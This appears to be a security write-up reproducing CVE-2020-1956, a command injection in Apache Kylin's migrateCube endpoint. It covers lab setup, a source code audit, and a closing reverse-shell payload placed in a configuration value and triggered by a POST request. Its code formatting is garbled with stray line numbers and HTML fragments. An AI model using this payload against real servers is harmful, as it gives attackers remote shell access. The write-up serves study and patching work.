Apache Kylin CubeService.java command injection vulnerability CVE-2020-1956
Apache Kylin CubeService.java Command Injection Vulnerability CVE-2020-1956
Vulnerability Description
On May 22, 2020, CNVD informed that there was a command injection vulnerability in Apache Kylin CVE-2020-1956
Apache Kylin is an open source distributed analytical data warehouse of the Apache Software Foundation in the United States.
Affect Version
Apache Kylin 2.3.0 ~ 2.3.2 Apache Kylin 2.4.0 ~ 2.4.1 Apache Kylin 2.5.0 ~ 2.5.2 Apache Kylin 2.6.0 ~ 2.6.5 Apache Kylin 3.0.0-alpha</a-checkbox>
Environment construction
</a-alert>
1
2
3
4
5
6
7
8
9
10
11
docker pull apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
After opening, log in with the default account password admin/KYLIN. The initial interface appears. Success
Vulnerability reappears
Check out this vulnerability patch
Here we can see that there are three parameters related to this vulnerability, namely srcCfgUri
, dstCfgUri
, and projectName
. The related function is migrateCube
Description of migrateCube
in official documentation
1
POST /kylin/api/cubes/{cube}/{project}/migrate
Download the source code of Apache Kylin 3.0.1 for code audit. The file with the vulnerable function is the following path
1
apache-kylin-3.0.1\server-base\src\main\java\org\apache\kylin\rest\service\CubeService.java
Find the migrateCube
function
```java {1-2} @PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN + “ or hasPermission(#cube, ‘ADMINISTRATION’) or hasPermission(#cube, ‘MANAGEMENT’)”) public void migrateCube(CubeInstance cube, String projectName) { KylinConfig config = cube.getConfig(); if (!config.isAllowAutoMigrateCube()) { throw new InternalErrorException(“One click migration is disabled, please contact your ADMIN”); }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
for (CubeSegment segment : cube.getSegments()) {
if (segment.getStatus() != SegmentStatusEnum.READY) {
throw new InternalErrorException(
"At least one segment is not in READY state. Please check whether there are Running or Error jobs.");
}
}
String srcCfgUri = config.getAutoMigrateCubeSrcConfig();
String dstCfgUri = config.getAutoMigrateCubeDestConfig();
Preconditions.checkArgument(StringUtils.isNotEmpty(srcCfgUri), "Source configuration should not be empty.");
Preconditions.checkArgument(StringUtils.isNotEmpty(dstCfgUri), "Destination configuration should not be empty.");
String stringBuilderstringBuilder = ("%s/bin/kylin.sh org.apache.kylin.tool.CubeMigrationCLI %s %s %s %s %s %s true true");
String cmd = String.format(Locale.ROOT, stringBuilder, KylinConfig.getKylinHome(), srcCfgUri, dstCfgUri,
cube.getName(), projectName, config.isAutoMigrateCubeCopyAcl(), config.isAutoMigrateCubePurge());
logger.info("One click migration cmd: " + cmd);
CliCommandExecutor exec = new CliCommandExecutor();
PatternedLogger patternedLogger = new PatternedLogger(logger);
try {
exec.execute(cmd, patternedLogger);
} catch (IOException e) {
throw new InternalErrorException("Failed to perform one-click migrating", e);
}
} ```
The PreAuthorize
defines routing permissions, ADMIN
permission, ADMINISTRATION
permission and MANAGEMENT
permission can access the service
.
1
2
@PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN
+ " or hasPermission(#cube, 'ADMINISTRATION') or hasPermission(#cube, 'MANAGEMENT')")
1087 line determines whether the MigrateCube
setting is enabled. If it is not enabled, an error will be reported.
Follow up on the function isAllowAutoMigrateCube()
You can see that the default configuration kylin.tool.auto-migrate-cube.enabled
is Flase
```java {2} public boolean isAllowAutoMigrateCube() { return Boolean.parseBoolean(getOptional(“kylin.tool.auto-migrate-cube.enabled”, FALSE)); }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
If the configuration `kylin.tool.auto-migrate-cube.enabled` is not enabled to be true, an error will be reported when calling `MigrateCube` is called.

`kylin.tool.auto-migrate-cube.enabled` is enabled for `True` via the `SYSTEM module of `Apache Kylin`


After setting it and requesting, there will be no error just reported, but `Source configuration should not be empty`

Follow up on the code block that reports an error
```java {4-5}
String srcCfgUri = config.getAutoMigrateCubeSrcConfig();
String dstCfgUri = config.getAutoMigrateCubeDestConfig();
Preconditions.checkArgument(StringUtils.isNotEmpty(srcCfgUri), "Source configuration should not be empty.");
Preconditions.checkArgument(StringUtils.isNotEmpty(dstCfgUri),
"Destination configuration should not be empty.");
Here, the configurations of kylin.tool.auto-migrate-cube.src-config
and kylin.tool.auto-migrate-cube.dest-config
were detected. If it is empty, the error will be reported just now.
Follow up on the getAutoMigrateCubeSrcConfig()
and getAutoMigrateCubeDestConfig()
functions
```java {2} public String getAutoMigrateCubeSrcConfig() { return getOptional(“kylin.tool.auto-migrate-cube.src-config”, “”); }
1
2
3
4
public String getAutoMigrateCubeDestConfig() {
return getOptional("kylin.tool.auto-migrate-cube.dest-config", "");
} ```
It is found that these two configurations are empty by default. Because the configuration allows customization, both srcCfgUri
and dstCfgUri
are both controllable. Continue to go down and find a command stitching
```java {1-4} String stringBuilder = (“%s/bin/kylin.sh org.apache.kylin.tool.CubeMigrationCLI %s %s %s %s %s %s true true”); String cmd = String.format(Locale.ROOT, stringBuilder, KylinConfig.getKylinHome(), srcCfgUri, dstCfgUri, cube.getName(), projectName, config.isAutoMigrateCubeCopyAcl(), config.isAutoMigrateCubePurge());
1
2
3
4
5
6
7
8
9
10
11
logger.info("One click migration cmd: " + cmd);
CliCommandExecutor exec = new CliCommandExecutor();
PatternedLogger patternedLogger = new PatternedLogger(logger);
try {
exec.execute(cmd, patternedLogger);
} catch (IOException e) {
throw new InternalErrorException("Failed to perform one-click migrating", e);
}
} ```
Enter the execute
function
```java {17} private Pair<Integer, String> runRemoteCommand(String command, Logger logAppender) throws IOException { SSHClient ssh = new SSHClient(remoteHost, port, remoteUser, remotePwd);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
SSHClientOutput sshOutput;
try {
sshOutput = ssh.execCommand(command, remoteTimeoutSeconds, logAppender);
int exitCode = sshOutput.getExitCode();
String output = sshOutput.getText();
return Pair.newPair(exitCode, output);
} catch (IOException e) {
throw e;
} catch (Exception e) {
throw new IOException(e.getMessage(), e);
}
}
private Pair<Integer, String> runNativeCommand(String command, Logger logAppender) throws IOException {
String[] cmd = new String[3];
String osName = System.getProperty("os.name");
if (osName.startsWith("Windows")) {
cmd[0] = "cmd.exe";
cmd[1] = "/C";
} else {
cmd[0] = "/bin/bash";
cmd[1] = "-c";
}
cmd[2] = command;
ProcessBuilder builder = new ProcessBuilder(cmd);
builder.redirectErrorStream(true);
Process proc = builder.start();
BufferedReader reader = new BufferedReader(
new InputStreamReader(proc.getInputStream(), StandardCharsets.UTF_8));
String line;
StringBuilder result = new StringBuilder();
while ((line = reader.readLine()) != null && !Thread.currentThread().isInterrupted()) {
result.append(line).append('\n');
if (logAppender != null) {
logAppender.log(line);
}
}
if (Thread.interrupted()) {
logger.info("CliCommandExecutor is interruppted by other, kill the sub process: " + command);
proc.destroy();
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
// do nothing
}
return Pair.newPair(1, "Killed");
}
try {
int exitCode = proc.waitFor();
return Pair.newPair(exitCode, result.toString());
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new IOException(e);
}
}
}
1
2
3
From this we can find that we can execute any command we need through these two controllable parameters, such as bounce a shell, and set the configuration as
kylin.tool.auto-migrate-cube.enabled=true kylin.tool.auto-migrate-cube.src-config=echo;bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1 kylin.tool.auto-migrate-cube.dest-config=shell ```
Send POST
request again /kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate
Successfully rebounded a shell